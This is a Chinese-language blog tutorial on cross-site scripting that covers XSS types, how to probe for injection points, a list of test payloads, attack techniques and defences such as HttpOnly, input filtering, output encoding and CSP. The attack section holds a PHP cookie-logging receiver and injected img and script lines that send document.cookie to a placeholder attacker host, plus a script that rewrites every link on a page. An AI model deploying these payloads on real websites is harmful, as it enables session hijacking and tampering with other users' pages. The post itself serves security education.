Web安全——跨站脚本攻击(XSS)

什么是XSS?

跨站脚本攻击(XSS),全称为Cross Site Script,通常指黑客通过“HTML”注入篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击,一开始这种攻击的演示案例是跨域的,所以叫做“跨站脚本”。

一、XSS的分类

XSS分为:反射型XSS、存储型XSS和DOM Based XSS。

1、反射型XSS

反射型XSS只是简单地把用户输入的数据“反射”给浏览器,也就是说,黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。反射型XSS也叫做“非持久型XSS”
例如:
如果访问http://www.a.com/test.php?param=<script>alert(/xss/)</script>
会发现,alert(/xss/)在当前页面执行了;
查看源代码:<div><script>alert(/xss/)</script></div>

2、存储型XSS

存储型XSS会把用户输入的数据“存储”在服务器端,这种XSS具有很强的稳定性。
比较常见的场景:攻击者写下一篇包含有恶意JavaScript代码的博客文章,文章发表后,所有访问该博文的用户都会在他们的浏览器中执行这段恶意代码,攻击者把恶意脚本保存到服务器端,这种XSS攻击就叫做“存储型XSS”,也成为“持久型XSS”。

3、DOM Based XSS

DOM Based XSS理论上从效果来看属于反射型XSS,但比较特殊,所以单独来说它。
DOM Based XSS是通过修改页面的DOM节点形成的XSS。

二、跨站脚本的挖掘方法

1、跨站脚本的核心挖掘思想

输入与输出——判断输入是否过滤,输出是否被过滤。

2、跨站脚本的测试思路

寻找出一个Web服务器的注入点,指的是攻击者可控内容的提交的位置。
注入点:专业术语中叫做向量,一切可以提交数据到页面的点都称作注入点。

3、XSS探针

xss探针可检测出网站有没有对xss漏洞做最基础的防御。我们可以在测试xss的位置写'';!--"<XSS>=&{()},查看页面源码,观察哪些代码被过滤或者转义。

4、跨站脚本的测试语句

<script>alert(/xss/);</script>
<script>alert(/xss/)</script>
<img src=1 onmouseover=alert(1)>
<a herf=1 onload=alert(1)>nmask</a>
<script>window.a==1?1:prompt(a=1)</script>
<script>a=prompt;a(1)</script>
<img src=0 onerror=confirm('1')>

三、跨站脚本的攻击技巧

1、窃取Cookie

编写xss_cookie.php页面用于接收Cookie
代码如下:

<?php
$cookie=$_GET['cookie'];
$log=fopen("cookie.txt","a");
fwrite($log,$cookie."\n");
fclose($log);
?>

在存在xss漏洞的地方,插入以下代码,便可以将cookie发送到xss_cookie.php,并且将cookie参数传递进去,写入文件中。

<img src="http://URL/xss_cookie.php?cookie='+document.cookie"></img>
<script>new Image().src="http://XXX/xss_cookie.php?cookie="+document.cookie;</script>

2、篡改网页

编写一个test.js脚本,用于做页面跳转
代码如下:

var objs=document.getElementsByTagName("a");
var b = objs.length
for(var a = 0; a < b; a++){
	objs[a].href = "http://www.baidu.com";
}

通过访问该漏洞网站,触发执行替换a标签中链接的操作。将以下语句插入存在存储型xss漏洞的网站,来实现页面跳转的目的。

<script type='text/javascript' src='http://localhost/cspt/XSS/test.js'></script>

3、网络钓鱼

4、网络挂马

通过DVWA实现网络挂马

5、BEEF

BEEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年开始创建的,至今还在维护。是由ruby语言开发的专门针对浏览器攻击的框架。

四、防御跨站脚本攻击的技巧

1、HttpOnly

HttpOnly解决了XSS后的Cookie劫持攻击。

2、输入检查

(1)输入过滤

"永远不要相信用户的输入"是网站开发的基本常识,对于用户输入一定要过滤,过滤,再过滤。

(2)输入验证

输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此之外的其他任何数据。

3、输出检查

除富文本输出外,在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击, HTML 编码主要是用对应的HTML 实体代替字符。

4、内容安全策略(CSP)

内容安全策略(Content Security Policy,CSP),实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,大大增强了网页的安全性。

总结

理论上,XSS漏洞虽然复杂,但是是可以彻底解决的,在设计XSS解决方案时,应该深入理解XSS攻击原理,针对不同的场景使用不同的方法,同时也有很多开源项目可供学习参考。

网安小白又又又来瞎咧咧了!!!如有不足,请多指教!!!

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值